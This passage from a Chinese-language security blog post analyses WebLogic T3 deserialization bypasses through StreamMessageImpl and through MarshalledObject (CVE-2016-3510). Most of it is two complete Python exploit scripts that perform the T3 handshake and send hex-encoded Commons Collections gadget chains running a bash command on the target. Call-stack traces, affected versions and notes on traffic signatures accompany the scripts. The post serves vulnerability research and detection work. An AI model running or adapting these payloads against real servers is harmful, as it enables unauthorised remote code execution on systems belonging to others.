def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):        # T3协议握手        dport = int(dport)        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        sock.settimeout(timeout)        try:            sock.connect((dip, dport))        except socket.timeout:            return False, {'msg': 'connection timeout.'}        except ConnectionRefusedError:            return False, {'msg': 'connection refuse.'}        sock.send(bytes.fromhex(            '74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))        time.sleep(delay)        sock.recv(1024)
        # 构造T3协议头        data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'        data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(            '{:04x}'.format(dport))        data3 = '1a7727000d3234322e323134'        data4 = '2e312e32353461863d1d0000000078'        for d in [data1, data2, data3, data4]:            sock.send(bytes.fromhex(d))        payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'                # -------- 经StreamMessageImpl封装的反序列化利用链payload --------        payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'                # ------------------------------------------------------        payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'        payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)        sock.send(bytes.fromhex(payload))        time.sleep(delay)        try:            res = sock.recv(4096)            print(res)            return b'weblogic.jms.common.StreamMessageImpl' in res, {'msg': 'finish.'}        except socket.timeout:            return False, {'msg': 'connection timeout.'}
if __name__ == "__main__":    ip = "127.0.0.1"    port = 7001    light_up(dip=ip,dport=port)

跟一下代码：

readExternal:1396, StreamMessageImpl (weblogic.jms.common)readExternalData:1835, ObjectInputStream (java.io)readOrdinaryObject:1794, ObjectInputStream (java.io)readObject0:1348, ObjectInputStream (java.io)readObject:370, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)

同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。

从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：

CVE-2016-3510

影响范围：

Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0

漏洞分析：

同样是对补丁黑名单的绕过，这次使用的是weblogic.corba.utils.MarshalledObject这个类：

public MarshalledObject(Object var1) throws IOException {    if (var1 == null) {        this.hash = 13;    } else {        ByteArrayOutputStream var2 = new ByteArrayOutputStream();        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);        var3.writeObject(var1);        var3.flush();        this.objBytes = var2.toByteArray();        int var4 = 0;
        for(int var5 = 0; var5 < this.objBytes.length; ++var5) {            var4 = 31 * var4 + this.objBytes[var5];        }
        this.hash = var4;    }}
public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {    if (this.objBytes == null) {        return null;    } else {        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);        ObjectInputStream var2 = new ObjectInputStream(var1);        Object var3 = var2.readObject();        var2.close();        return var3;    }}

MarshalledObject并未重写readObject方法或实现readExternal方法，使用原生的ObjectInputStream方法实现反序列化。

weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);

直接用MarshalledObject的构造方法生成对象，封装反序列化流：

还是使用上文中的poc脚本：

import binasciiimport socketimport structimport subprocessimport timefrom multiprocessing.managers import SyncManagerfrom typing import Any, Dict, List, Mapping, Tuple, Union
from stars import target_type, Star
def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):        # T3协议握手        dport = int(dport)        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        sock.settimeout(timeout)        try:            sock.connect((dip, dport))        except socket.timeout:            return False, {'msg': 'connection timeout.'}        except ConnectionRefusedError:            return False, {'msg': 'connection refuse.'}        sock.send(bytes.fromhex(            '74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))        time.sleep(delay)        sock.recv(1024)
        # 构造T3协议头        data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'        data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(            '{:04x}'.format(dport))        data3 = '1a7727000d3234322e323134'        data4 = '2e312e32353461863d1d0000000078'        for d in [data1, data2, data3, data4]:            sock.send(bytes.fromhex(d))        payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'                # -------- 经MarshalledObject封装的反序列化利用链payload --------        payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'                # ------------------------------------------------------        payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'        payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)        sock.send(bytes.fromhex(payload))        time.sleep(delay)        try:            res = sock.recv(4096)            print(res)            return b'org.apache.commons.collections.functors.InvokerTransformer' in res, {'msg': 'finish.'}        except socket.timeout:            return False, {'msg': 'connection timeout.'}
if __name__ == "__main__":    ip = "127.0.0.1"    port = 7001    light_up(dip=ip,dport=port)

同样跟一下代码：

readResolve:58, MarshalledObject (weblogic.corba.utils)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:57, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:601, Method (java.lang.reflect)invokeReadResolve:1091, ObjectStreamClass (java.io)readOrdinaryObject:1805, ObjectInputStream (java.io)readObject0:1348, ObjectInputStream (java.io)readObject:370, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)

一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：

流量特征上，出现的类变为weblogic.corba.utils.MarshalledObject，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了org.apache.commons.collections.functors.InvokerTransformer

后记

Extractor导致的漏洞放在下一篇。

参考文章：

https://xz.aliyun.com/t/10365#toc-6

https://xz.aliyun.com/t/10563#toc-10

https://www.anquanke.com/post/id/226070#h2-15

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

http://wjlshare.com/archives/1573

https://tttang.com/archive/1768/#toc_

阅读原文

跳转微信打开